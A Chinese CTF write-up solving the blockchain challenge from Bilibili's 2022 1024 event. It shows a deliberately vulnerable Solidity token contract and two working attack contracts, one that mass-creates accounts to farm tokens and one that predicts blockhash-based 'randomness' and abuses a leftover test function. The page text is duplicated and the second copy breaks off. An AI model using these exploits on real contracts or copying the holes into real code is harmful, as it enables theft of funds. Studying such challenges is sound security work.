2022哔哩哔哩 1024程序员节 T4 区块链详解,这次题目使用了两种方法,都可以顺利拿到flag
> 本次题目的地址为**sepolia@0x053cd080A26CB03d5E6d2956CeBB31c56E7660CA**
### 前言
这一次1024程序员节中有区块链相关的题目,作为今年才开始起步区块链的小萌新,这一题也是整整看了一整个周末才做出来,不过做出来之后也是相当的具有成就感滴:),话不多说,我们现在就来看一看如何做出这一题.
—
### 源码
先上合约源码↓↓↓↓↓↓
“`solidity
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)
pragma solidity 0.8.12;
import “./IERC20.sol”;
import “./IERC20Metadata.sol”;
import “./Context.sol”;
//import “@openzeppelin/contracts/token/ERC20/IERC20.sol”;
//import “@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol”;
//import “@openzeppelin/contracts/utils/Context.sol”;
struct Coupon {
uint loankey;
uint256 amount;
address buser;
bytes reason;
}
struct Signature {
uint8 v;
bytes32[2] rs;
}
struct SignCoupon {
Coupon coupon;
Signature signature;
}
contract MyToken is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => uint) public _ebalances;
mapping(address => uint) public ethbalances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint) public _profited;
mapping(address => uint) public _auth_one;
mapping(address => uint) public _authd;
mapping(address => uint) public _loand;
mapping(address => uint) public _flag;
mapping(address => uint) public _depositd;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address owner;
address backup;
uint secret;
uint tokenprice;
Coupon public c;
address public lala;
address public xixi;
//mid = bilibili uid
//b64email = base64(your email address)
//Don’t leak your bilibili uid
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string mid, string b64email);
event changeprice(uint secret_);
constructor(string memory name_, string memory symbol_, uint secret_) {
_name = name_;
_symbol = symbol_;
owner = msg.sender;
backup = msg.sender;
tokenprice = 6;
secret = secret_;
_mint(owner, 2233102400);
}
modifier onlyowner() {
require(msg.sender == owner);
_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function deposit() public {
require(_depositd[msg.sender] == 0, “you can only deposit once”);
_depositd[msg.sender] = 1;
ethbalances[msg.sender] += 1;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
function setbackup() public onlyowner {
owner = backup;
}
function ownerbackdoor() public {
require(msg.sender == owner);
_mint(owner, 1000);
}
function auth1(uint pass_) public {
require(pass_ == secret, “auth fail”);
require(_authd[msg.sender] == 0, “already authd”);
_auth_one[msg.sender] += 1;
_authd[msg.sender] += 1;
}
function auth2(uint pass_) public {
uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number – 1), block.timestamp)));
require(pass == pass_, “password error, auth fail”);
require(_auth_one[msg.sender] == 1, “need pre auth”);
require(_authd[msg.sender] == 1, “already authd”);
_authd[msg.sender] += 1;
}
function payforflag(string memory mid, string memory b64email) public {
require(_flag[msg.sender] == 2);
emit sendflag(mid, b64email);
}
function flashloan(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey == 0, “loan key error”);
require(msg.sender == address(this), “hacker get out”);
Coupon memory coupon = scoupon.coupon;
Signature memory sig = scoupon.signature;
c=coupon;
require(_authd[scoupon.coupon.buser] == 2, “need pre auth”);
require(_loand[scoupon.coupon.buser] == 0, “you have already loaned”);
require(scoupon.coupon.amount <= 300, “loan amount error”);
_loand[scoupon.coupon.buser] = 1;
_ebalances[scoupon.coupon.buser] += scoupon.coupon.amount;
}
function profit() public {
require(_profited[msg.sender] == 0);
_profited[msg.sender] += 1;
_transfer(owner, msg.sender, 1);
}
function borrow(uint amount) public {
require(amount == 1);
require(_profited[msg.sender] <= 1);
_profited[msg.sender] += 1;
_transfer(owner, msg.sender, amount);
}
function buy(uint amount) public {
require(amount <= 300, “max buy count is 300”);
uint price;
uint ethmount = _ebalances[msg.sender];
if (ethmount < 10) {
price = 1000000;
} else if (ethmount >= 10 && ethmount <= 233) {
price = 10000;
} else {
price = 1;
}
uint payment = amount * price;
require(payment <= ethmount);
_ebalances[msg.sender] -= payment;
_transfer(owner, msg.sender, amount);
}
function sale(uint amount) public {
require(_balances[msg.sender] >= amount, “fail to sale”);
uint earn = amount * tokenprice;
_transfer(msg.sender, owner, amount);
_ebalances[msg.sender] += earn;
}
function withdraw() public {
require(ethbalances[msg.sender] >= 1);
require(_ebalances[msg.sender] >= 1812);
payable(msg.sender).call{value:100000000000000000 wei}(“”);
_ebalances[msg.sender] = 0;
_flag[msg.sender] += 1;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
require(msg.sender == owner); //不允许被owner以外调用
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(msg.sender == owner); //不允许被owner以外调用
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(msg.sender == owner); //不允许被owner以外调用
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, “ERC20: decreased allowance below zero”);
unchecked {
_approve(owner, spender, currentAllowance – subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), “ERC20: transfer from the zero address”);
require(to != address(0), “ERC20: transfer to the zero address”);
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, “ERC20: transfer amount exceeds balance”);
unchecked {
_balances[from] = fromBalance – amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), “ERC20: mint to the zero address”);
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), “ERC20: burn from the zero address”);
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, “ERC20: burn amount exceeds balance”);
unchecked {
_balances[account] = accountBalance – amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), “ERC20: approve from the zero address”);
require(spender != address(0), “ERC20: approve to the zero address”);
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, “ERC20: insufficient allowance”);
unchecked {
_approve(owner, spender, currentAllowance – amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
// debug param secret
function get_secret() public view returns (uint) {
require(msg.sender == owner);
return secret;
}
// debug param tokenprice
function get_price() public view returns (uint) {
return tokenprice;
}
// test need to be delete
function testborrowtwice(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey == 2233);
MyToken(this).flashloan(scoupon);
}
// test need to be delete
function set_secret(uint secret_) public onlyowner {
secret = secret_;
emit changeprice(secret_);
}
}
“`
### 1.明确目标
这里我们注意到了一个函数`payforflag`,很明显,我们需要调用这一个函数来获得我们的flag,那么调用这个函数的条件是什么呢?
“`solidity
function payforflag(string memory mid, string memory b64email) public {
require(_flag[msg.sender] == 2);
emit sendflag(mid, b64email);
}
“`
我们需要`_flag[msg.sender]`的值为2
接下来要做的就是寻找函数使`_flag[msg.sender] `的值到2.
通过寻找,我们找到了`withdraw`这个函数,而这个函数的执行需要满足两个条件,分别是`ethbalances[msg.sender] >= 1`和`_ebalances[msg.sender] >= 1812`.
“`solidity
function withdraw() public {
require(ethbalances[msg.sender] >= 1);
require(_ebalances[msg.sender] >= 1812);
payable(msg.sender).call{value:100000000000000000 wei}(“”);
_ebalances[msg.sender] = 0;
_flag[msg.sender] += 1;
}
“`
#### 第一个条件
先看第一个条件`ethbalances[msg.sender] >= 1`,我们可以使用`deposit`这个函数来令其满足
“`solidity
function deposit() public {
require(_depositd[msg.sender] == 0, “you can only deposit once”);
_depositd[msg.sender] = 1;
ethbalances[msg.sender] += 1;
}
“`
#### 第二个条件
再看第二个条件`_ebalances[msg.sender] >= 1812`,涉及到该变量的函数有`profit`,`borrow`,`buy`,`sale`
“`solidity
function profit() public {
require(_profited[msg.sender] == 0);
_profited[msg.sender] += 1;
_transfer(owner, msg.sender, 1);
}
function borrow(uint amount) public {//获得1个_balances
require(amount == 1);
require(_profited[msg.sender] <= 1);
_profited[msg.sender] += 1;
_transfer(owner, msg.sender, amount);
}
function buy(uint amount) public {//通过出售_ebalances购买_balances
require(amount <= 300, “max buy count is 300”);
uint price;
uint ethmount = _ebalances[msg.sender];
if (ethmount < 10) {
price = 1000000;
} else if (ethmount >= 10 && ethmount <= 233) {
price = 10000;
} else {
price = 1;
}
uint payment = amount * price;
require(payment <= ethmount);
_ebalances[msg.sender] -= payment;
_transfer(owner, msg.sender, amount);
}
function sale(uint amount) public {//通过出售_balances获得_ebalances
require(_balances[msg.sender] >= amount, “fail to sale”);
uint earn = amount * tokenprice;
_transfer(msg.sender, owner, amount);
_ebalances[msg.sender] += earn;
}
“`
我们看看`profit`这个函数,只能运行一次,获得一个`_balances`;而`borrow`这个函数,一共可以执行两次获得两个`_balances`.但是这两个函数都有`_profited[msg.sender]`这个变量进行限制,也就是说,我们**最多**只能通过`profit`或`borrow`函数获得**2个**`_balances`.
那么`_balances`有什么用呢?看一看`sale`函数,我们可以把`_balances`卖掉得到`_ebalances`,其中`tokenprice`已经被定义为6了,所以`_balances`与`_ebalances`之间的兑换比例为1:6.
而`buy`这个函数,只有当`_ebalances`大于233时,`_ebalances`与`_balances`之间的兑换比例才是1:1.
仔细看看上面两段话,稍微思考一下就可以明白,只要我的`_ebalances`比233要大,那么不就可以通过与`_balances`互刷的方式不断增加我的`_ebalances`从而满足条件2`_ebalances[msg.sender] >= 1812`?!
这里我举个简单的例子,假设我现在有`_ebalances`300个,那么我可以通过`buy(300)`获得`_balances`300个,随后在通过`sale(300)`获得`_ebalances`300*6=1800个,然后再重复上面的过程,那么我的`_ebalances`不久可以源源不断的增加的吗~~~~
所以我们现在要做的可以是:
* 获得`_ebalances`大于233个
* 或者`_balances`大于等于39个(因为获得39个以上的`_balances`后,可以通过`sale`函数获得的`_ebalances`的数量是6*`_balances`,即234个)
### 2.编写攻击合约
在求解这一题的过程中,我想到了两种方法都可以来获得flag,接下来听我一一道来~~
#### 方法①
我们知道每一个初始账号都可以固定获得2个`_balances`,那么我们能否通过小号为大号通过`transfer`方法发送`_balances`的方法获得足够数量的`_balances`呢?答案是可行的.
直接上代码!
先写一个拿两个`_balances`并转给大号的合约
“`solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import “./ctf.sol”;
contract mulcreate {
MyToken public mytoken;
constructor(address _MyTokenAddress) {
mytoken = MyToken(_MyTokenAddress);
}
receive() external payable {}
function onestep() public{
mytoken.borrow(1);
mytoken.borrow(1);
mytoken.transfer(adreess(你的主账户地址),2);
}
}
“`
再写一个批量创建合约的合约
“`solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import “./create_contract.sol”;
contract mulcreate_Factory {
mulcreate Mulcreate;
function create() external {
uint i = 0;
for(i=0;i<=20;i=i+1){
Mulcreate = new mulcreate(0x053cd080A26CB03d5E6d2956CeBB31c56E7660CA);//这个地址就是题目合约的地址
Mulcreate.onestep();
}
}
}
“`
通过调用第二个合约,给大号足够的`_balances`启动资金,就可以开始刷`_ebalances`拿flag咯~~
#### 方法②
细心的同学在做这题的时候有没有发现这个函数`flashloan`,可以直接给你增加300的`_ebalances`!
“`solidity
function flashloan(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey == 0, “loan key error”);
require(msg.sender == address(this), “hacker get out”);
Coupon memory coupon = scoupon.coupon;
Signature memory sig = scoupon.signature;
c=coupon;
require(_authd[scoupon.coupon.buser] == 2, “need pre auth”);
require(_loand[scoupon.coupon.buser] == 0, “you have already loaned”);
require(scoupon.coupon.amount <= 300, “loan amount error”);
_loand[scoupon.coupon.buser] = 1;
_ebalances[scoupon.coupon.buser] += scoupon.coupon.amount;
}
“`
不过直接编写攻击合约来调用这个函数肯定是不行滴,因为`require(msg.sender == address(this), “hacker get out”)`这一句的限制了,咋办嘞?
再找找看叭~~于是我们找到了一个调用`flashloan`的函数`testborrowtwice`,这不就正好可以满足上面的条件了吗~
“`soidity
function testborrowtwice(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey == 2233);
MyToken(this).flashloan(scoupon);
}
“`
不过`flashloan`内还有限制条件`require(_authd[scoupon.coupon.buser] == 2, “need pre auth”)`,就是说需要验证的意思,我们找找这两个验证函数`auth1`和`auth2`
“`solidity
function auth1(uint pass_) public {
require(pass_ == secret, “auth fail”);
require(_authd[msg.sender] == 0, “already authd”);
_auth_one[msg.sender] += 1;
_authd[msg.sender] += 1;
}
function auth2(uint pass_) public {
uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number – 1), block.timestamp)));
require(pass == pass_, “password error, auth fail”);
require(_auth_one[msg.sender] == 1, “need pre auth”);
require(_authd[msg.sender] == 1, “already authd”);
_authd[msg.sender] += 1;
}
“`
对于`auth1`,`secret`不是直接在`constructor`中有定义了嘛~直接看合约

NICE!一下子就找到了根本难不倒我们~
但是当你开开心心的把123456输进去的时候,结果发现居然没通过???
咋回事嘞
再找找看咯
于是你再源码中发现了这个`set_secret`!没想到`owner`还可以改secret!!
“`solidity
function set_secret(uint secret_) public onlyowner {
secret = secret_;
emit changeprice(secret_);
}
“`
这个我们玩区块链的根本不慌滴,区块链的每一笔交易都是有记录的,我们直接去看最早的交易记录.
嘿嘿

这不就有了嘛~
看看这笔交易的信息

嘿嘿`secret`就是**0x154be90**,转一下十进制就是**22331024**,还挺有寓意的嘛~
接下来就是搞`auth2` 的时候了
“`solidity
function auth2(uint pass_) public {
uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number – 1), block.timestamp)));
require(pass == pass_, “password error, auth fail”);
require(_auth_one[msg.sender] == 1, “need pre auth”);
require(_authd[msg.sender] == 1, “already authd”);
_authd[msg.sender] += 1;
}
“`
当我看到“uint(keccak256(abi.encodePacked(blockhash(block.number – 1), block.timestamp)))“这个的时候,我瞬间乐开了花,这我可太熟悉不过了~
看看这篇文章[Source of Randomness](https://solidity-by-example.org/hacks/randomness/)简直简直就是一个模子里刻出来的哇,
“uint(keccak256(abi.encodePacked(blockhash(block.number – 1), block.timestamp)))“这玩意儿看着随机,其实是确定的!
接下来写个攻击合约就可以赚到大把大把的`_balances`咯
直接上代码!
“`solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import “./ctf.sol”;
contract Attack {
MyToken public mytoken;
constructor(address _MyTokenAddress) {//_MyTokenAddress是题目的合约地址
mytoken = MyToken(_MyTokenAddress);
}
receive() external payable {}
function attack() public{
mytoken.deposit();//满足ethbalances[msg.sender] >= 1
mytoken.borrow(1);
mytoken.borrow(1);//得到两个_balances
mytoken.auth1(22331024);//第一个验证
uint answer = uint(
keccak256(abi.encodePacked(blockhash(block.number – 1), block.timestamp))
);
mytoken.auth2(answer);//第二个验证
SignCoupon memory scoupon;
scoupon.coupon.loankey=2233;
scoupon.coupon.amount=300;
scoupon.coupon.buser=address(this);
mytoken.testborrowtwice(scoupon);//获得_ebalances 300个
mytoken.buy(302);//用_ebalances去换_balances 302个
mytoken.transfer(adrress(你自己的账户地址),302);//给你的大号转账_balances 302个
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
“`
—
### 结语
至此,这第四题区块链的解答就到此结束了
说一说感受吧,每次做区块链的题目都感觉特别有意思,其实本人过去是学习逆向工程的 ,今年才开始接触区块链,解区块链题目的过程说实话,和逆向分析真的好像哇,都是一个逆向的过程,分析需要满足的条件,然后设法编写合约来让条件得到满足,最终满足所有需要的条件之后获得flag ,好玩好玩,嘿嘿(●ˇ∀ˇ●)
2022哔哩哔哩 1024程序员节 T4 区块链详解
本次题目的地址为sepolia@0x053cd080A26CB03d5E6d2956CeBB31c56E7660CA
前言
这一次1024程序员节中有区块链相关的题目,作为今年才开始起步区块链的小萌新,这一题也是整整看了一整个周末才做出来,不过做出来之后也是相当的具有成就感滴:),话不多说,我们现在就来看一看如何做出这一题.
源码
先上合约源码↓↓↓↓↓↓
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)
pragma solidity 0.8.12;
import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./Context.sol";
//import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
//import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
//import "@openzeppelin/contracts/utils/Context.sol";
struct Coupon {
uint loankey;
uint256 amount;
address buser;
bytes reason;
}
struct Signature {
uint8 v;
bytes32[2] rs;
}
struct SignCoupon {
Coupon coupon;
Signature signature;
}
contract MyToken is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => uint) public _ebalances;
mapping(address => uint) public ethbalances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint) public _profited;
mapping(address => uint) public _auth_one;
mapping(address => uint) public _authd;
mapping(address => uint) public _loand;
mapping(address => uint) public _flag;
mapping(address => uint) public _depositd;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address owner;
address backup;
uint secret;
uint tokenprice;
Coupon public c;
address public lala;
address public xixi;
//mid = bilibili uid
//b64email = base64(your email address)
//Don't leak your bilibili uid
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string mid, string b64email);
event changeprice(uint secret_);
constructor(string memory name_, string memory symbol_, uint secret_) {
_name = name_;
_symbol = symbol_;
owner = msg.sender;
backup = msg.sender;
tokenprice = 6;
secret = secret_;
_mint(owner, 2233102400);
}
modifier onlyowner() {
require(msg.sender == owner);
_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function deposit() public {
require(_depositd[msg.sender] == 0, "you can only deposit once");
_depositd[msg.sender] = 1;
ethbalances[msg.sender] += 1;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
function setbackup() public onlyowner {
owner = backup;
}
function ownerbackdoor() public {
require(msg.sender == owner);
_mint(owner, 1000);
}
function auth1(uint pass_) public {
require(pass_ == secret, "auth fail");
require(_authd[msg.sender] == 0, "already authd");
_auth_one[msg.sender] += 1;
_authd[msg.sender] += 1;
}
function auth2(uint pass_) public {
uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
require(pass == pass_, "password error, auth fail");
require(_auth_one[msg.sender] == 1, "need pre auth");
require(_authd[msg.sender] == 1, "already authd");
_authd[msg.sender] += 1;
}
function payforflag(string memory mid, string memory b64email) public {
require(_flag[msg.sender] == 2);
emit sendflag(mid, b64email);
}
function flashloan(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey == 0, "loan key error");
require(msg.sender == address(this), "hacker get out");
Coupon memory coupon = scoupon.coupon;
Signature memory sig = scoupon.signature;
c=coupon;
require(_authd[scoupon.coupon.buser] == 2, "need pre auth");
require(_loand[scoupon.coupon.buser] == 0, "you have already loaned");
require(scoupon.coupon.amount <= 300, "loan amount error");
_loand[scoupon.coupon.buser] = 1;
_ebalances[scoupon.coupon.buser] += scoupon.coupon.amount;
}
function profit() public {
require(_profited[msg.sender] == 0);
_profited[msg.sender] += 1;
_transfer(owner, msg.sender, 1);
}
function borrow(uint amount) public {
require(amount == 1);
require(_profited[msg.sender] <= 1);
_profited[msg.sender] += 1;
_transfer(owner, msg.sender, amount);
}
function buy(uint amount) public {
require(amount <= 300, "max buy count is 300");
uint price;
uint ethmount = _ebalances[msg.sender];
if (ethmount < 10) {
price = 1000000;
} else if (ethmount >= 10 && ethmount <= 233) {
price = 10000;
} else {
price = 1;
}
uint payment = amount * price;
require(payment <= ethmount);
_ebalances[msg.sender] -= payment;
_transfer(owner, msg.sender, amount);
}
function sale(uint amount) public {
require(_balances[msg.sender] >= amount, "fail to sale");
uint earn = amount * tokenprice;
_transfer(msg.sender, owner, amount);
_ebalances[msg.sender] += earn;
}
function withdraw() public {
require(ethbalances[msg.sender] >= 1);
require(_ebalances[msg.sender] >= 1812);
payable(msg.sender).call{value:100000000000000000 wei}("");
_ebalances[msg.sender] = 0;
_flag[msg.sender] += 1;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
require(msg.sender == owner); //不允许被owner以外调用
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(msg.sender == owner); //不允许被owner以外调用
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(msg.sender == owner); //不允许被owner以外调用
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
// debug param secret
function get_secret() public view returns (uint) {
require(msg.sender == owner);
return secret;
}
// debug param tokenprice
function get_price() public view returns (uint) {
return tokenprice;
}
// test need to be delete
function testborrowtwice(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey == 2233);
MyToken(this).flashloan(scoupon);
}
// test need to be delete
function set_secret(uint secret_) public onlyowner {
secret = secret_;
emit changeprice(secret_);
}
}
1.明确目标
这里我们注意到了一个函数payforflag
,很明显,我们需要调用这一个函数来获得我们的flag,那么调用这个函数的条件是什么呢?
function payforflag(string memory mid, string memory b64email) public {
require(_flag[msg.sender] == 2);
emit sendflag(mid, b64email);
}
我们需要_flag[msg.sender]
的值为2
接下来要做的就是寻找函数使_flag[msg.sender]
的值到2.
通过寻找,我们找到了withdraw
这个函数,而这个函数的执行需要满足两个条件,分别是ethbalances[msg.sender] >= 1
和_ebalances[msg.sender] >= 1812
.
function withdraw() public {
require(ethbalances[msg.sender] >= 1);
require(_ebalances[msg.sender] >= 1812);
payable(msg.sender).call{value:100000000000000000 wei}("");
_ebalances[msg.sender] = 0;
_flag[msg.sender] += 1;
}
第一个条件
先看第一个条件ethbalances[msg.sender] >= 1
,我们可以使用deposit
这个函数来令其满足
function deposit() public {
require(_depositd[msg.sender] == 0, "you can only deposit once");
_depositd[msg.sender] = 1;
ethbalances[msg.sender] += 1;
}
第二个条件
再看第二个条件_ebalances[msg.sender] >= 1812
,涉及到该变量的函数有profit
,borrow
,buy
,sale
function profit() public {
require(_profited[msg.sender] == 0);
_profited[msg.sender] += 1;
_transfer(owner, msg.sender, 1);
}
function borrow(uint amount) public {//获得1个_balances
require(amount == 1);
require(_profited[msg.sender] <= 1);
_profited[msg.sender] += 1;
_transfer(owner, msg.sender, amount);
}
function buy(uint amount) public {//通过出售_ebalances购买_balances
require(amount <= 300, "max buy count is 300");
uint price;
uint ethmount = _ebalances[msg.sender];
if (ethmount < 10) {
price = 1000000;
} else if (ethmount >= 10 && ethmount <= 233) {
price = 10000;
} else {
price = 1;
}
uint payment = amount * price;
require(payment <= ethmount);
_ebalances[msg.sender] -= payment;
_transfer(owner, msg.sender, amount);
}
function sale(uint amount) public {//通过出售_balances获得_ebalances
require(_balances[msg.sender] >= amount, "fail to sale");
uint earn = amount * tokenprice;
_transfer(msg.sender, owner, amount);
_ebalances[msg.sender] += earn;
}
我们看看profit
这个函数,只能运行一次,获得一个_balances
;而borrow
这个函数,一共可以执行两次获得两个_balances
.但是这两个函数都有_profited[msg.sender]
这个变量进行限制,也就是说,我们最多只能通过profit
或borrow
函数获得2个_balances
.
那么_balances
有什么用呢?看一看sale
函数,我们可以把_balances
卖掉得到_ebalances
,其中tokenprice
已经被定义为6了,所以_balances
与_ebalances
之间的兑换比例为1:6.
而buy
这个函数,只有当_ebalances
大于233时,_ebalances
与_balances
之间的兑换比例才是1:1.
仔细看看上面两段话,稍微思考一下就可以明白,只要我的_ebalances
比233要大,那么不就可以通过与_balances
互刷的方式不断增加我的_ebalances
从而满足条件2_ebalances[msg.sender] >= 1812
?!
这里我举个简单的例子,假设我现在有_ebalances
300个,那么我可以通过buy(300)
获得_balances
300个,随后在通过sale(300)
获得_ebalances
300*6=1800个,然后再重复上面的过程,那么我的_ebalances
不久可以源源不断的增加的吗~~~~
所以我们现在要做的可以是:
- 获得
_ebalances
大于233个 - 或者
_balances
大于等于39个(因为获得39个以上的_balances
后,可以通过sale
函数获得的_ebalances
的数量是6*_balances
,即234个)
2.编写攻击合约
在求解这一题的过程中,我想到了两种方法都可以来获得flag,接下来听我一一道来~~
方法①
我们知道每一个初始账号都可以固定获得2个_balances
,那么我们能否通过小号为大号通过transfer
方法发送_balances
的方法获得足够数量的_balances
呢?答案是可行的.
直接上代码!
先写一个拿两个_balances
并转给大号的合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "./ctf.sol";
contract mulcreate {
MyToken public mytoken;
constructor(address _MyTokenAddress) {
mytoken = MyToken(_MyTokenAddress);
}
receive() external payable {}
function onestep() public{
mytoken.borrow(1);
mytoken.borrow(1);
mytoken.transfer(adreess(你的主账户地址),2);
}
}
再写一个批量创建合约的合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "./create_contract.sol";
contract mulcreate_Factory {
mulcreate Mulcreate;
function create() external {
uint i = 0;
for(i=0;i<=20;i=i+1){
Mulcreate = new mulcreate(0x053cd080A26CB03d5E6d2956CeBB31c56E7660CA);//这个地址就是题目合约的地址
Mulcreate.onestep();
}
}
}
通过调用第二个合约,给大号足够的_balances
启动资金,就可以开始刷_ebalances
拿flag咯~~
方法②
细心的同学在做这题的时候有没有发现这个函数flashloan
